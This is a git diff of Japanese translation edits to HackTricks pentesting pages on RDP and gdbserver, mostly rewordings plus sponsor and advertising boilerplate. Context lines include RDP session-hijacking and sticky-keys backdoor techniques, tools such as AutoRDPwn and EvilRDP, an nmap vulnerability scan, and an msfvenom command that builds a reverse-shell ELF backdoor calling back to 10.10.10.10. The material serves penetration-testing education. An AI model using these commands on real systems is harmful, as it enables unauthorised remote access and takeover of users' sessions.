プロセスのダンプからパスワードを取得することもできますが、この方法の方がはるかに速く、ユーザーの仮想デスクトップとやり取りすることができます(パスワードがディスクに保存されずにメモ帳に表示される、他のマシンで開かれている他のRDPセッションなど...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -104,11 +104,11 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
このテクニックを**stickykeys**または**utilmanと組み合わせると、管理者権限のCMDと任意のRDPセッションにいつでもアクセスできます**
|
||||
|
||||
すでにこれらのテクニックのいずれかでバックドアが設定されたRDPを検索できます: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
すでにこれらのテクニックのいずれかでバックドアを仕掛けられたRDPを検索できます: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDPプロセスインジェクション
|
||||
|
||||
異なるドメインからの誰かか**より高い権限でRDP経由でPCにログイン**した場合、**あなたが管理者である**PCに**ビーコンをインジェクト**して彼の**RDPセッションプロセス**にアクセスし、彼のように振る舞うことができます:
|
||||
異なるドメインからの誰かか**より高い権限でRDP経由でログイン**して**あなたが管理者であるPC**に、その人の**RDPセッションプロセスにビーコンをインジェクト**して彼として行動できます:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
|
@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**は、Powershellで作成されたポストエクスプロイテーションフレームワークで、主にMicrosoft Windowsコンピュータ上での**Shadow**攻撃を自動化するために設計されています。この脆弱性(Microsoftによって機能としてリストされています)により、リモート攻撃者は被害者のデスクトップを彼の同意なしに**表示**し、必要に応じて操作することさえできます。これは、オペレーティングシステム自体に組み込まれたツールを使用しています。
|
||||
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータ上で**Shadow**攻撃を自動化するために設計されたPowerShellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)により、リモート攻撃者は被害者のデスクトップを彼の同意なしに表示し、必要に応じて操作することさえできます。これは、オペレーティングシステム自体に組み込まれたツールを使用しています。
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* コマンドラインから自動的にマウスとキーボードを制御
|
||||
* コマンドラインからクリップボードを自動的に制御
|
||||
* クライアントからRDP経由でターゲットにネットワーク通信をチャネルするSOCKSプロキシを生成
|
||||
* ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行
|
||||
* ファイルのアップロードおよびダウンロードを、ターゲット上でファイル転送が無効になっている場合でも実行
|
||||
* クライアントからRDP経由でターゲットにネットワーク通信をチャネル化するSOCKSプロキシを生成
|
||||
* ターゲット上でファイルをアップロードせずに任意のSHELLおよびPowerShellコマンドを実行
|
||||
* ファイル転送がターゲットで無効になっている場合でも、ターゲットとの間でファイルのアップロードおよびダウンロードを実行
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -148,22 +148,22 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでもフルペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペネトレーションテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう</strong>!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,31 +6,31 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げ、シェルをポップして楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**gdbserver**は、プログラムのリモートデバッグを可能にするツールです。これは、デバッグが必要なプログラムと同じシステムで実行される「ターゲット」として知られるシステムで実行されます。このセットアップにより、**GNUデバッガ**が、ソースコードとデバッグ対象プログラムのバイナリコピーが格納されている「ホスト」と呼ばれる別のマシンから接続できます。**gdbserver**とデバッガの間の接続は、TCPまたはシリアルラインを介して行われ、柔軟なデバッグセットアップが可能です。
|
||||
**gdbserver**は、プログラムのリモートデバッグを可能にするツールです。これは、デバッグが必要なプログラムと同じシステムで実行される「ターゲット」として知られるプログラムと一緒に実行されます。このセットアップにより、**GNUデバッガ**が、ソースコードとデバッグ対象プログラムのバイナリコピーが格納されている「ホスト」と呼ばれる別のマシンから接続できます。**gdbserver**とデバッガの間の接続は、TCPまたはシリアルラインを介して行われ、柔軟なデバッグセットアップが可能です。
|
||||
|
||||
**gdbserverを任意のポートでリッスン**させることができ、**nmapは現時点ではそのサービスを認識することができません**。
|
||||
**gdbserverを任意のポートでリッスン**させ、**nmapは現時点ではそのサービスを認識できない**。
|
||||
|
||||
## Exploitation
|
||||
|
||||
### アップロードして実行
|
||||
|
||||
**msfvenomを使用してelfバックドアを簡単に作成**し、アップロードして実行することができます:
|
||||
**msfvenomでelfバックドアを簡単に作成**し、アップロードして実行します:
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
@ -195,22 +195,22 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してさらに深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローする。**
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **をフォローしてください。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|